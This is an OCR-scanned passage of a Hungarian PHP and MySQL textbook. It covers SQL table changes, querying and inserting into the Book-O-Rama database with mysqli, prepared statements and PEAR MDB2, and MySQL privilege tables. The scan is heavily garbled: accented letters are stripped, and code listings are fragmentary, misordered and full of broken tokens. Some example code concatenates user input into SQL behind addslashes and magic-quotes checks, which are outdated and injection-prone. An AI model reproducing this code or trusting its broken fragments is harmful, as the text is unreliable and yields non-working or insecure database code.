A meghatrozott karakterkszletre (character set- cs) s egybevetsre (collation) alaktja az sszes, szveg alap oszlopot. Belltja az alaprtelmezerr karakterkszletet s egybevetst. Trli egy InnoDB tbla mgtres tblatrfjljt. (Az InnoDB-rl tovbbi in formcirt lsd a 13. fejezetet!) jra ltrehozza egy InnoDB tbla mgttes tblatrfjljt. (Az InnoDB-rl tovbbi informcirt lsd a 13. fejezetet!) jra bellthatjuk a tbla tulajdonsgait. A CREATE TABLE utastssal meg egyez szintaktikt hasznl.
Nzznk meg nhnyat az ALTER TABLE utasts gyakoribb felhasznlsi lehetsgei kzl! Knnyen elfordulhat, hogy egy id utn rjvnk: egy adott oszlop nem "elg nagy" az ltala troland adatokhoz. Avasarlok tblban pldul korbban 50 karakter hossz nevek trolst engedlyeztk. Az adatok begyjtse utn sz revesszk, hogy egyes nevek tl hosszak, gy csonkolva letrek. gy segthetnk ezen a problmn, ha mdostjuk az oszlop adattpust, hogy 70 karakter hossz legyen:
ALTER TABLE vasarlok MODIFY nev CHAR(70) NOT NULL;
179
Szintn gyakran elfordul, hogy oszlopot kell a tblzathoz adnunk. Kpzeljk el, hogy egy j, helyi rtkestsi adt vezet nek be, amit a Book-O-Ramnak hozz kell adni a rendels vgsszeghez, de kln kell nyilvntartania! A kvetkezkppen adhatjuk az ado oszlopot a megrendelesek tblhoz:
ALTER TABLE megrendelesek ADD ado FLOAT(6,2) AFTER osszeg;
10
Ugyangy megeshet az is, hogy feleslegess vlik egy oszlop. A kvetkezkppen trlhetjk:
ALTER TABLE megrendelesek DROP ado;
Ha csak ezt rjuk: DELETE FROM tabla; a tbla minden sora trldik, gyhogy csak vatosan bnjunk egy ilyen utasts sal! ltalban csak adott sorokat kvnunk trlni, ezeket a W HERE mellkgban hatrozhatjuk meg. Pldnknl maradva, ha valamelyik knyv mr nem kaphat, vagy valamelyik vsrl mr hossz ideje nem rendelt semmit sem, s szetetnnk egy kicsit rendet rakni az adatbzisban:
DELETE FROM vasarlok WHERE vasarloid=S;
A LIMIT mellkgban korltozhatjuk a tnylegesen trlend sorok maximlis szmt. Az ORDER BY t jellemzen
-
a LIMIT sszefggsben hasznljuk. A LOW_PRIORITY s az IGNORE pontosan gy mkdik, mint a korbban ltott utastsoknl. A QUICK gyorsabb m veletet eredmnyezhet MyiSAM tblk esetben.
Tblk trlse
Esetenknt egy egsz tblrl szecetnnk megszabadulni. A DROP TABLE utastssal rhetjk ezt el. A folyamat nagyon egy szer, az utasts pedig a kvetkezkppen nz ki:
DROP TABLE tabla;
Az utasts a tbla minden sort s magt a tblt is trli, ezrt fokozott gondossggal jrjunk el hasznlata esetn!
Tovbbi olvasnival
Fejezetnkben a MySQL adatbzisokkal folytatott munka sorn nap mint nap hasznlt SQL utasrsokat tekintettk t. A kvetkez kt fejezerbl megtudhatjuk, hogyan kapcsoljuk ssze a MySQL-t s a PHP-r gy, hogy internetrl hozzfrjnk adarbzisainkhoz. Egyes halad MySQL-es technikkat is megismerhetnk majd. Ha szeretnnk tbbet rudni
az
www.ansi.org/ oldalon elrhet ANSI SQL szabvnyt. Az ANSI SQL MySQL-fle kibvtsrl a MySQL oldaln (htcp:/ /www.mysql.com) tjkozdhatunk.
Hogyan tovbb
A MySQL adatbzis elrse a webrl PHP-vel cm ll. fejezetben ttekintjtik, hogyan teherjk a Book-O-Rama adarbzist internerrl elrhetv.
Amikor a korbbiakban PHP-vel dolgoztunk, egyszer fjlokban troltuk az adatokat, illetve ezekbl az llomnyokbl ke restk vissza azokat. Az Adatok trolsa s lekrse cm 2. fejezetben, ahol dolgoztunk mr ilyen fjllal, megemltettk, hogy a relcis adatbzisrendszerek webes alkalmazs esetn knnyebb, biztonsgosabb s hatkonyabb reszik a trolsi s visz szakeressi feladaraink jelents rszr. Mosr, hogy MySQL-ben dolgozva mr ltrehoztuk adarbzisunkat, kszen llunk arra, hogy webes fellettel ( weboldallal) kssk ssze. Ebben a fejezeeben bemutatjuk, hogyan rhetjk el a Book-O-Rama adarbzist PHP segtsgvel a webrl. Megcanuljuk, ho gyan olvassunk adatokat adatbzisbl, s hogyan rjunk bele, illetve hogyan szrjk ki a potencilisan problms adatok bevitelt. A fejezetben az albbi fbb tmakrkkel foglalkozunk: Hogyan mkdnek a webes adatbzis-archicektrk Adatbzis lekrdezse a webrl egyszer lpsekkel Kapcsolat belltsa Informciszerzs az elrhet adatbzisokrl A hasznlni kvnt adatbzis kivlasztsa Az adarbzis lekrdezse A lekrdezs eredmnyeinek lekrse Kapcsolat boncsa az adatbzissal j informci felvitele az adatbzisba Elfordtort utastsok hasznlata Egyb PHP adacbzis-illesztsek hasznlata lcalnos adatbzis-illeszts hasznlata: PEAR MDB2
182
ll. fejezet
ll
<form action="eredmenyek.php" method="post"> Vlassza ki a keress tpust!:<br /> <select name="keresesi_tipus"> <option value="szerzo">Szerz6</option> <option value="cim">Cm</option> <option value="isbn">ISBN</option> </select> <br /> rja be a keressi kifejezst' :<br /> <input name="keresesi kfejezes" type=""text" size="40"/> <br /> <input type="submit" name="kuldes" value="Keress"/> </form> </body> </html>
Ez a HTML rlap viszonylag magtl rtetd. A HTML kd kimenere a 11.1 brn lthat.
;.,;,.el.!!!.-----
-----------J
11.1 bra: Teljesen ltalnos keressi rlap, ami cm, szerz s ISBN-kd szerinti keresst tesz lehetv.
A"Keress" gombra kartintskor meghvott kd az eredmenyek. php fjlban tallhat. Ezt a kdot a 11.2 pldakd tartal mazza. A fejezet sorn azt fogjuk megtrgyalni, hogy mir csinl, s hogyan mkdik
ez
a kd.
11.2 pldakd: eredmenyek. php-Ez a kd keresi vissza a MySQL adatbzisbl a keressi eredmnyeket, majdJormzza azo
kat a megjelentshez
<html> <head> <title>Book-0-Rama keressi eredmnyek</title> </head> <body> <hl>Book-0-Rama keressi eredmnyek</hl> <?php
if (1$keresesi tipus
l l
183
'beokorama',
'bookorama123',
'konyvek');
ll
prblkezzon ksbb.';
$lekerdezes
"SELECT
$talalatok_szama
$talalat->num_rows;
".$talalatok_szama."</p>";
for ($i=O;
$i <$talalatok_szama;
$i++)
$talalat->free(); $adatbazis->close();
?>
</body> </html>
Figyeljk meg, hogy a kd megengedi a felhasznlnak a MySQL dzskerkarakterek, a % s az_ {alulvons) hasznlatr. Ez hasznos lehet a felhasznlnak, de vdkarakterrel kell elltni ezeket a klnleges karaktereket, hogy ne okozhassanak prebl mt alkalmazsunknak. A 11.2 bra a kd hasznlatval vgrehajtott keress eredmnyt illusztrlja.
l'!
A""'-".......,.-.wot6C..-..I LC.:Jal- s-t6Maot158:i0-G"l-l169T-S A<; )..l 99'
184
ll. fejezer
Ezeket a lpseket kvettk az eredmenyek. php kdban is,nzzk meg most ezeket egyenknt!
ll
rtkre alkalmazzuk,amikor
A kvetkez lps annak ellenrzse,hogy a felhasznl adott-e meg keressi kifejezst,s kivlasztotta-e a keress pust. Figyeljk meg. hogy a keressi kifejezs megltnek ellenrzse az utn trtnik,hogy eltvoltjuk a $ keresesi_kifejezes szleirl a fehrkz karaktereket! Ha fordtott sorrendben szerepelne ez a kt kdsor, akkor elfordulhatna olyan eset, hogy a felhasznl keressi kifejezse nem res,gy nem hoz ltre hibazenetet sem; viszont csupa fehrkz karakterbl ll, amelye ket a trim ( ) kivtel nlkl eltvolt:
if (! $keresesi_tipus echo exit; "
l l
! $keresesi kifejezes)
{
Krjk, adja meg ezeket!";
Ellenrizzk a $keresesi_tipus vlrozt,noha az jelen esetben egy SELECT HTML utasrsbl szrmazik! Krdez hetnnk,mirt rdemes bajldni egy olyan adat ellenrzsvel, amelyet be kell rni. Nem szabad elfelejteni, hogy tbb fellet is kapcsoldhat adarbzisunkhoz. Az Amazonnak pldul szmos lenyvllalata van,amely rnind az anyacg keressi fellett hasznlja. Azrt is clszer szrni az adatokat,mert a klnbz belpsi pontokrl rkez felhasznlk miatt biztonsgi problmk keletkezhetnek. Arnikor felhasznlk ltal bevitt adatokat terveznk felhasznlni,minden esetben ki kell szrni bellk a vezrl karaktere ket. Mint emlkezhetnk,a
stripslashes()
s get_magic_ quotes_gp c() fggvnyrL Brmilyen felhasznli inputot kldnk olyan adatbzisba,
mint a MySQL,vdkaraktercel kell elltni az adatokat. Ebben az esetben a get_magic_quotes_gpc ( ) fggvny rtkt ellenrizzk. Ebbl megrudjuk,hogy az idzjelek hoz zadsa automatikusan trtnik-e. Ha nem,az
if (!get_maglc quotes gpc()) addslashes ()
{
tlpus);
addslashes($keresesl klfejezes);
A stripslashes() fggvnyt az adatbzisbl rkez adatokon is hasznljuk. Ha a magic quotes funkci be van kapcsol va,az adatok perjeleket fognak tartalmazni, amikor visszajnnek az adatbzisbl. gy el kell tvoltani azokat. A pldban a htmlspecialchars ( ) fggvnnyel kdoljuk a HMTL-ben klnleges jelentssei br karaktereket. A je lenlegi tesztadatok nem tartalmaznak s(&),kisebb,rnint(<),nagyobb,mint (>) vagy dupla idzjeleket("),m szmtalan olyan knyvcm ltezik,amelyben s jel tallhat.(Ez elssorban angol nyelvterleten jellemz, magyar cmekre kevsb igaz.) A fggvny hasznlatval ksbbi hibkat elzhetnk meg.
Kapcsolat ltrehozsa
A MySQL-hez kapcsoldsta hasznlhat PHP knyvtr neve mysqli(az i az improved,vagyis.,tovbbfejlesztett" szra utal). Arnikor mysqli knyvrrat hasznlunk PHP-ben,objektumorientlt s procedurlis szintaktikt egyarnt alkalmazhatunk. A kdban az albbi sorral kapcsoldunk a MySQL kiszolglhoz:
@ $adatbazis
=
'boakorama',
'bookoramal23',
'konyvek');
E sor ltrehozza a mysqli osztly egy pldnyt,s boakorama felhasznlnvvel s bookoramal 23 jelszval kapcsola tot ltest a
localhost
185
Ha az objektumorientlt megkzeltst kvetjk, az objektum metdusait meghvva rhetjk el az adatbzist. Ha jobban kedveljk a procedurlis megkzeltst, a mysqli ennek hasznlatt is megengedi. Ebben az esetben az albbi kddal kapcsold hatunk ugyanehhez az adatbzishoz:
@ $adatbazis
=
mysqli connect('localhost',
'boakorama',
'bookoramal 23',
'konyvek');
Ez a fggvny objektum helyett erforrst ad vissza. Ez jelkpezi az adatbzishoz val csatlakozst, s ha ezt a procedurlis megkzeltst kvetjk, ezt az erforrs-vltozt kell tadnunk minden ms mysqli fggvnynek. Ez igen hasonl ahhoz, ahogy a fjlkezel fggvnyek, pldul az fopen () mkdik. A mysqli fggvnyek tbbsge objektumorientlt fellettel s procedurlis fellettel is rendelkezik. ltalnossgban az kz
tk a klnbsg, hogy a procedurlis verzij fggvnynevek mysql_-lel kezddnek, s megkvetelik a mysql_connect ()
fggvnybl megkapott erforrs-vltoz tadst. Az adatbzis-kapcsaldsok kivtelt kpeznek e szably all, mivel a mysqli objektum konstruktora ltal is ltrehozhatk. A kapcsoldsi kisrlet eredmnyt rdemes ellenrizni, mert a kd tbbi rsze nem fog megfelel adatbzis-kapcsolat nlkl mkdni. A kvetkez kddal hajthatjuk vgre ezt
1f (mysqli connect_errno()) echo exit; 'Hiba:
az
ll
ellenrzst:
Krjk, prblkezzon ksbb!';
mysqli _connect_
az
() fggvny hiba esetn hibakdot, sikeres kapcsolds esetn nullt ad vissza. Figyeljk meg, hogy
az
adatbzishoz
egyidej MySQL kapcsolatok szma korltozott! A lehetsges legnagyobb rtket a max_ Apache paramternek az
a clja, hogy utastsk a szervert az j kapcsaldsok elutastsra, megakadlyozva azt, hogy forgalmas idszakokban vagy szaftverproblma esetn tlzott mrtkben vegyk ignybe a gp erforrsait. Mindkt paramter alaprtelmezett rtkt a konfigurcis fjlok szerkesztsvel tudjuk mdostani. Az Apache
MaxClients con nections
httpd. conf
Erre internetrl val kapcsolds esetn is szksg van. A hasznlni kivnt adatbzist paramterknt hatrozhatjuk meg a mysqli konstruktor vagy a mysqli _connect () fggvny szmra. Ha meg akarjuk vltaztami az alaprtelmezett adat bzist, a mysql_ select_ db() fggvnnyel tehetjk meg. Ezt a fggvnyt az
$adatbazis->select_db(adatbazis neve)
illetve a
mysql_select_db(adatbazis_eroforras, adatbazis_neve)
formban rhetjk el. Itt lthatjuk a fggvnyek kztti klnbsget, amire korbban utaltunk: a procedurlis vltozat mysql_-lel kezddik, s
kri az adatbzis-erforrsra mutat paramtert.
Az adatbzis lekrdezse
Az adatbzis tnyleges lekrdezshez a mysqli_query() fggvnyt hasznlhatjuk. Ezt megelzen azonban rdemes ltre hozni a futtatni kivnt lekrdezst:
$lekerdezes
=
"SELECT
'%". $ keresesi
Ebben az esetben a felhasznl ltal megadott rtkre ( $ keresesi _kifej ezes ) keresnk a felhasznl ltal meghatro zott mezben
( $keresesi_tipus). Figyeljk meg, hogy az EQUAL helyett a LIKE mveleri jelet hasznljuk az illesztshez:
186
ll. fejezet
Tipp: Ne feledjk, hogy- a MySQL monitorba begpelend lekrdezssei ellenttben -a MySQL-nek kldend lekrdezs
vgre nem kell pontosvessz!
$adatbazis->query($lekerdezes);
ll
ben is az $adatbazis) .
tadjuk a futcaeni kivfut lekrdezst s - a procedurlis fellet esetn - az adatbzisra mutat kapcsolatot (ami jelen eset Az objektumorientlt vltozat eredmnyobjektumot, a procedurlis pedig eredmny-erforrst ad vissza. (Hasonlan ah
hoz, ahogy a kapcsoldsi fggvnyek mkdnek.) Ksbbi felhasznls cljbl mindkt esetben vltozban ( Stalalat)
Az objektumorientlt megkzelts hasznlata esetn az eredmnyobjektum num_rows tagja trolja a visszaadott sarok
$talalatok_szama = $talalat->num_rows;
Procedurlis megkzelts alkalmazsakor a mysqli_num_ rows() fggvny adja meg szmunkra a lekrdezs ltal vissza
Azrt rdemes tudni ezt, mert ha tervezzk az eredmnyek feldolgozst vagy megjelentst, a sarok szma alapjn ciklus
$i <$talalatok_szama; $i++)
ll eredmnyek feldolgozsa
sorait s tmbknt adja vissza azokat, amely tmbben rninden kulcs egy oszlopnv, s rninden rtk az annak megfelel rtk:
$sor = $talalat->fetch_assoc();
meg. Ha a lekrdezs egyetlen sort sem ad vissza, akkor a ciklus nem fut le. A fggvny egyenknt veszi az eredmnyhalmaz
Termszetesen in is hasznlhatjuk a procedurlis megkzeltst: Mivel adott a $sor tmb, minden egyes mezn vgigmehetnk, s megfelelkppen megjelenthetjk azokat, ahogy tesszk
";
echo stripslashes($sor['isbn'));
row () fggvnnyel pldul elnevezett kulcsokkal rendelkez tmb helyen szmokkal indexelt tmbben kapjuk vissza az ered $sor = $talalat->fetch row($talalat);
Mint mr emltettk, a stripslashes ( ) fggvnyt azrt hvjuk meg. hogy megjelents eltt rendbe rakjuk az rtket.
A tulajdonsgrtkek a $sor [O], $sor [l) stb. tmbrtkekbe kerlnek. (A mysqli_fetch_array () fggvnnyel A mysqli_fetch_object() fggvnnyel objektumba is tehetjk a sorokat:
illetve
$sor = mysqli fetch_object($talalat);
187
vagy a
mysqli_free_result($talalat);
vagy a
mysqli_close($adatbazis);
meghvsval szakthatjuk meg a kapcsolatot az adatbzissal. Nem felttlen van szksg erre a parancsra, mivel a kapcsolat akkor is lezrdik, ha a kd befejezi a futst.
ll
j informci
felvitele az adatbzisba
j elemek adatbzisba trtn felvitele mdfelett hasonlt ahhoz a folyamathoz, amikor adatokat nyernk ki az adatbzisbL Ugyanazokat az alapvet lpseket kvetjk: kapcsolatot ltestnk, lekrdezst kldnk, s ellenrizzk az eredmnyeket. Ebben az esetben azonban az elkldend lekrdezs SELECT helyett INSERT. Br a folyamat hasonl, rdemes mgis egy pldn kereszrl megvizsglni. A 11.3 brn egyszer HTML rlapot lrunk, amivel knyveket lehet felvinni az adatbzisba. Az oldal HTML kdjt a 11.3 pldakd tartalmazza.
Book-0-Rama
- j knyv felvitele
:st-------
11.3 bra: A Book-O-Rama alkalmazottai ilyenfelletet hasznlhatnak a knyvek adatbzisba val fel vitelre. 11.3 pldakd: uj_konyv.html-A knyvekfelvitelre szolgl oldal HTML kdja
<html> <head> <title>Book-0-Rama - j </head> <body> <hl>Book-0-Rama - j knyv felvitele</hl> <form action="konyv_beszurasa.php" method="post"> <table border="O"> <tr> <td>ISBN</td> <td><input type="text" name="isbn" maxlength="l3" size="l3"></td> </tr> <tr> <td>Szerz</td> <td> <input type="text" name="szerzo" maxlength="30" size="30"></td> </tr> <tr> <td>Cm</td> <td> <input type="text" name="cim" maxlength="60" size="30"></td> </tr> <tr> <td>r $</td> knyv felvitele</title>
188
ll. fejezet
<td><input type="text" name="ar" maxlength="7" size="7"></td> </tr> <tr> <td colspan="2"><input type="submit" value="Rgzits"></td> </tr> </table> </form> </body>
ll
</html>
Az rlap eredmnyeit a konyv _beszurasa. php adja tovbb, ez az a kd, amely fogja a rszleteket, elvgez nhny aprbb ellenrzst, majd megksrli berni az adatokat
az
knyvfelviteli eredmnyek</title>
l l
! $szerzo
l l
! $eim
l l
! $ar)
echo "Nem minden adatot adott meg.<br />" ."Krjk, exit; prblja meg jra'";
if (!get magic quotes gpc()) $isbn = addslashes($isbn); $szerzo = addslashes($szerzo); $eim = addslashes($cim); $ar = doubleval($ar);
' boakorama',
'bookoramal 23',
'konyvek');
Krjk,
prblkezzon
ksbb'";
$lekerdezes = "INSERT INTO konyvek VALUES ('".$isbn."'' '". $szerzo."'' '".$eim."', '".$ar."')";
$talalat = $adatbazis->query($lekerdezes);
if ($talalat) echo $adatbazis->affected_rows." db knyv hozz lett adva az adatbzishoz."; else echo "Hiba trtnt. A knyvet nem sikerlt hozzadni.";
189
ll
\
11.4 bra: A
Ha megvizsgljuk a
az
k onyv_beszurasa.php
hogy adatot nyerjnk vissza az adatbzisbL Ellenrizzk, hogy az rlap minden mezje ki lett-e tltve, majd - ha szksges addslashes()
Mivel az rat float tpus adatknt troljuk az adatbzisban, nem kivnunk perjeleket beletenni. E numerikus mez esetben a PHP gyorstalpal cm, legels fejezetbl megismert
doubleval
$talalat = $adatbazis->query($lekerdezes);
mysqli_query
() hasznlatban. Procedurlis
Az elz kdban a
() segtsgvel llaptottuk meg, hogy hny sort adott vissza a SELECT lekrdezs. s UPDATE lekrdezseket runk, a mysqli_affeeted_rows ()-t
INSERT, DELETE
kdban:
?,
190
ll. fejezet
Nzzk t a kdot sorrl sorra! Amikor ltrehozzuk a lekrdezst, a korbban alkalmazott vltoz-behelyettests helyett krdjeleket tesznk az egyes adatok helyre. Nem szabad sem idzjeleket, sem egyb hatrol karaktert raknunk a kr djelek kr. A msodik sor az $adatbazis->prepare() meghvsa; procedurlis vltozat esetn ez a mysqli _stmt_
prepare
() meghvsa lesz. Ez a sor hozza ltre az utastsobjektumot vagy erforrst, amit majd a tnyleges feldolgozs
vgrehajtshoz fogunk felhasznlni. Az utastsobjektum rendelkezik egy b ind_pa ram() nev metdussal. (Procedurlis vltozat esetn neve mysql i_
stmt_b ind_param
().) A metdus feladata kzlni a PHP-vel, mely vltozk kerlnek a krdjelek helyre. Az els para
mter egy formrum karakterlnc, hasonl ahhoz, amelyet a printf() fggvnyben hasznlunk. A pldban radott rtk
ll
(" sssd" ) azt jelenti, hogy a ngy paramter string. string. string. illetve double tpus. A formrum karakterlncban kt tovbbi karakter hasznlhat: i s b, amelyek az integer, illetve a blob tpusokat jellik. E paramter utn annyi vltozt kell felsorolni, ahny krdjel szerepel az utasts ban. A megadott sorrendben lesznek behelyerrestve. Az $utasi tas->execute() (procedurlis vltozat esetn a mysqli_stmt_execute ()) meghvsa futtatja le magt a lekrdezst. Ezt kveten frnk hozz az rintett sorokhoz, s zrjuk le az utastst. Mirt hasznos teht a fenti elfordtott utasts? Az benne a szp, hogy ha megvltoztatjuk a ngy kttt vltoz rtkr, anlkl futtathatjuk le jbl az utastst, hogy mg egyszer meg kellene rnunk. Igen praktikus tud lenni, arnikor ciklust hasz nlunk tmeges adatfelvitelnL Nem csak a paramtereket lehet"megktni'; hanem az eredmnyeket is. SELECT tpus lekrdezseknl az $utas itas
>bind_result
szeremnk az eredmnyoszlopokba betltemi. Minden egyes alkalommal, amikor meghvjuk az $utas itas->fetch ()-t (illetve a mysqli_stmt_fetch ()-t), az eredmnyhalmaz kvetkez sorban lv oszloprtkek betltdnek ezekbe a kttt vltozkba. A korbban hasznlt, knyvkeres kdban pldul a kvetkezt hasznlhatnnk:
$utasitas->bind_result($isbn, $szerzo, $eim, $ar);
Ezzel a lekrdezs ltal majd visszaadand ngy oszlophoz kmnk ezt a ngy vltozt. Az
$utasitas->execute();
Minden meghvsakor a kvetkez eredmnysort rakja be a ngy kttt vltozba. Ugyanebben a kdban termszetesen hasznlhatnnk amysqli stmt_bind_param() s a mysqli stmt_bind_result() fggvnyt is.
191
<title>Book-0-Rama keressi eredmnyek<ltitle> <l head> <body> <hl>Book-0-Rama keressi eredmnyek<lhl> <?php ll rvid vltoznevek ltrehozsa $keresesi tipus=$ POST['kereses_tpus']; $keresesi_kifejezes=trim($_POST['keresesi_kifejezes']);
if (!$keresesi_tipus
l l
ll
if (!get_magic_quotes_gpc())
addslashes($keresesi kfejezes);
ll felkszls a PEAR MDB2 hasznlatra require_once('MDB2.php'); $felhasznalo = 'bookorama'; $jelszo = 'bookoramal23'; $host = 'localhost'; $adatbazis_neve = 'konyvek';
192
ll. fejezet
$sor = $talalat->fetchRow(MDB2 FETCHMODE_ASSOC); echo "<p><strong>".($i+l).". Cm: "; echo htmlspecialchars(stripslashes($sor['cim'])); echo "</strong><br />Szerz6: "; echo stripslashes($sor['szerzo']); echo "<br />ISBN: "; echo stripslashes($sor['isbn']); echo "<br />Ar: ";
ll
Vizsgljuk meg. miben klnbzik ez a kd korbbi vltozattl! Az adatbzishoz kapcsoldsra az albbi sort hasznljuk:
$adatbazis = MDB2::connect($dsn);
A fggvny egy univerzlis kapcsoldsi karakterlncot fogad el, amely az adatbzishoz kapcsoldshoz szksges minden paramcert tartalmaz. Eze akkor lchaguk, ha a kapcsoldsi karakterlnc formcumra nznk:
$dsn = "mysqli://".$felhasznalo.":".$jelszo."@".$host."/".$adatbazis_name;
Eze kveten az isError () mecdus segtsgvel ellenrizzk, sikerlc-e a kapcsolds, ha nem, a hibazenet kirsa utn a kd vgrehajtsa vget r:
if (MDB2::isError($adatbazis))
Az lcalnos fetchRow() mecdus szmralan formban kpes kezelni a sorokat; az MDB2_ FETCHMODE _ASSOC param terrel azt kzljk, hogy asszociatv tmbknt kivnjuk visszakapni a sort. A visszakapott sorok kimenere utn megszncegk a kapcsoldst:
$adatbazis->disconnect();
Lthatjuk, hogy az ltalnos plda igen hasonl az els kdhoz. Az MDB2 hasznlarnak egyik elnye, hogy elg csak az adacbzis-fggvnyek egyik kszlett megjegyezni, a msik pedig az, hogy csak kis mrtkben kell kdunkat mdostani, ha gy dntnk, hogy megvltozraguk az adarbzis szofcverc. Mivel ez a knyv a MySQL-rl szl, a nagyobb sebessg s rugalmassg rdekben a MySQL natv knyvtraival fogunk dol gozni. Sajt projekgeinkben hasznlhacjuk az MDB2 csomagot is, mert nha j szolglacot tehet absztrakcis rteg hasznlata.
Tovbbi olvasnival
A MySQL s a PHP sszekapcsolsrl a PHP s a MySQL kziknyvek megfelel rszeiben olvashacunk bvebben. Ha az ODBC-rl szeretnnk tovbbi informcit, ltogassunk el a http:/ /www.webopedia.com/TERM/0/0DBC.htm! oldalra!
Hogyan tovbb?
A kvetkez fejezetben rszleeesebben foglalkozunk a MySQL-adminisztrcival, s megvizsgljuk, hogyan optimalizljuk az adatbzisokat.
12
Halad
MySQL
...
adminisztrci
A most kvetkez fejezetben halad szint MySQL-tmakrkkel foglalkozunk, kztk a jogosultsgokkal, a biztonsggal s
az
optimalizlssal. A fejezetben rintert fbb terletek: A jogosultsgi rendszer alaposabb megismerse MySQL adatbzisunk biztonsgoss ttele Tovbbi informcik begyjtse az adatbzisokrl Gyorsabb mkds indexekkel Adatbzisunk optimalizlsa Biztonsgi ments s helyrellts Replikci megvalstsa
utastst! Miutn ezt megtertk, a szoksos mdon tekinthetjk meg az ebben az adatbzisban lv tblkat:
show tables;
columns_priv db event fu ne general_log help_category help_keyword help_relation help_topic host ndb_binlog_index plugin proc procs_priv servers slow_log
194
12. fejezer
tables_priv time time time zone zone leap second zone name
zone transition_type
- trolja a jogosultsgi informcikat. (Angolul grant tblkknt is szoks hivatkozni rjuk.) Funkcijukban
ugyan eltrnek egymsrl, de ugyanazt az ltalnos feladarot ltjk el: meghatrozzk, hogy az egyes felhasznlk mit jogosul rak megrenni. Mindegyik kr mezrpust tartalmaz: harkrmezket, amelyek a felhasznlt, a kiszolglr s az adatbzis azon rszt hatrozzk meg, amelyikre a jogosultsg vonatkozik; s a jogosulrsgi mezker, amelyek azt szablyozzk, hogy az adott
12
hatkrben lv felhasznlk mely mvelereker hajthatjk vgre. A user s a host tblval hatrozharjuk meg, hogy az adott felhasznl kapcsoldhat-e egyltaln a MySQL kiszolg lhoz, illetve rendelkezik-e brmilyen adminiszrrrori jogosultsggal. A sokat rheti el a felhasznl. A
tables _priv db
a columns_priv tbla pedig azt hatrozza meg, hogy a tblkon bell mely oszlopokat ri el. Aprocs_priv tblbl azt tudjuk meg, hogy milyen rutinokat futtathat a felhasznl.
A
A
user
use r
tbla
tbla a globlis felhasznli jogosultsgok rszleteit tartalmazza. Szablyozza, hogy az adott felhasznl jogosult-e
egyltaln a MySQL kiszolglhoz kapcsoldni, illetve rendelkezik-e brmilyen globlis szint- vagyis a rendszer sszes adat bzisra rvnyes -jogosultsggal. A tbla szerkezett a describe
12.1 tblzat: A mysql
user;
utasts segtsgvel ismerhetjk meg. A user tbla smja a 12.1 tblzatban lthat.
adatbzis
user
tbljnak smja
Tpusa
varchar(60) varchar(l6) varchar(41) enum('N', 'Y') enum('N', 'Y') enum('N','Y') enum('N', 'Y') enum( 'N','Y') enum('N','Y') e num('N', 'Y') e num('N','Y') enum( 'N', 'Y') enum('N','Y') enum('N','Y') enum('N','Y') enum('N','Y') enum('N', 'Y') enum( 'N','Y') enum( 'N', 'Y') e num('N', 'Y') enum('N','Y') enum('N','Y') e num ('N','Y')
Mez
Host User Password Select_priv Insert_priv Update_priv Delete_priv Create_priv Drop_priv Reload_priv Shutdown priv Process_priv File priv Grant_priv References_priv Index_priv Alter_priv Show_db_priv Super_priv Create tmp_table_priv Lock_tables_priv Execute_priv Repl slave_priv
Halad MySQL-adminisztrci
195
Mez
Repl_client_priv Create_view_priv Show_view_priv Create_routine_priv Alter_routine_priv Create_user_priv Event_priv Trigger_priv ssl_type ssl_cipher x509 issuer x509 subject max_updates max connections max user connections
Tpusa
enum('N' , e num('N' , e num('N' , enurn(' N' , enum('N' , enum('N' , enum('N' ,
enum( 'N' , 'Y ' ) enurn(' ' , 'ANY' , 'X509' , 'SPECIFIED' ) b lob blob blob rnax_questions int(ll) int(ll) int(ll) unsigned unsigned unsigned int(ll) unsigned
12
A tblzat egyes sorai a Host szmitgprl rkez, User nev, a P assword jelszval bejelentkez felhasznl jogosults gainak felelnek meg. Ezek a tblzat hatkrmezi (scope fi.eld), amelyek a tbbi, gynevezett jogosu/tsgi mez (privilege fi.eld) hatkrt rjk le. Az ebben a tblban felsorolt (s a tbbi tbla ltal kvetend) jogosultsgok a 9. fejezetben a GRANT utastssal kiosztott jogosultsgoknak felelnek meg. A Se l ect_pr iv pldul a SELECT parancs futtatsra val jogosultsg. Amennyiben a felhasznl rendelkezik adott jogosultsggal, az ahhoz tartoz oszlop rtkeY . Ha a felhasznl nem kapott meg valamely jogosultsgot, akkor az ahhoz tartoz rtk viszone N. A user tbla ltal felsorolt jogosultsgok mindegyike globlis; ez azt jelenti, hogy a rendszerben
lv minden adatbzisra
(gy a rnysql adatbzisra is) rvnyesek. Rendszergazdk esetben itt szmos jogosultsg esetnY rtker tallunk, de a fel hasznlk tbbsgnl N kell, hogy lljon. Az ltalnos felhasznlknak a megfelel adatbzisokra, nem pedig az sszes tblra rvnyes jogosultsgokkal kell rendelkeznik.
A db s a h os t tbla
Az tlagos felhasznlk jogosultsgainak jelents rszt a db s a host tbla trolja. A db tbla azt hatrozza meg. hogy mely felhasznlk melyik adatbzisokhoz s honnan (melyik hostokrl) frhetnek hoz z. Az ebben a tblban felsorolt jogosultsgok az adott sorban megnevezett adatbzisra irnyulnak. A host tbla kiegszti a user s a db tblt. Ha egy felhasznl tbb gprl csatlakozhat, a user s a db tbla nem fogja felsorolni ezeket a hostokat. A felhasznlnak ehelyett tbb bejegyzse lesz a host tblban, amelyek az egyes felhasznl-host kombincikhoz tartoz jogosultsgokat szablyozzk.
E kt tbla srnjt a 12.2, illerve a 12.3 tblzatban lthatjuk. 12.2 tblzat: A Mez
Host Db User Select_priv Insert_priv Update_priv Delete_priv Create_priv Drop_priv Grant_priv References _priv Index_priv Alter_priv rnysql
'Y') 'Y')
'Y') 'Y') 'Y') 'Y') 'Y') 'Y') 'Y') 'Y')
196
12. fejezet
Mez
Create_tmp tables_priv Lock_tables_priv Create_view_priv Show_view_priv Create_routine_priv Alter_routine_priv Execute_priv Event_priv Trigger_priv
Tpusa
enum('N', 'Y') enum('N','Y') enum('N','Y') enum('N', 'Y') enum('N', 'Y') enum('N','Y') enum('N', 'Y') enum('N', 'Y') enum('N','Y')
tbljnak smja
Tpusa
char(60) char(64) enum('N','Y') enum('N', 'Y') enum ('N','Y') enum('N', 'Y') e num('N','Y') enum('N','Y') enum('N','Y') enum('N', 'Y') enum('N', 'Y') enum ('N','Y') enum( 'N','Y') enum('N','Y') enum('N','Y') enum('N', 'Y') enum('N', 'Y') enum('N', 'Y') enum('N','Y') enum('N', 'Y')
12
Host Db Select_priv Insert_priv Update_priv Delete_priv Create_priv Drop_priv Grant_priv References_priv Index_priv Alter_priv Create tmp_tables_priv Lock_tables_priv Create_view_priv Show_view_priv Create routine_priv Alter_routine_priv Execute_priv Trigger_priv
A tables_pr i v,
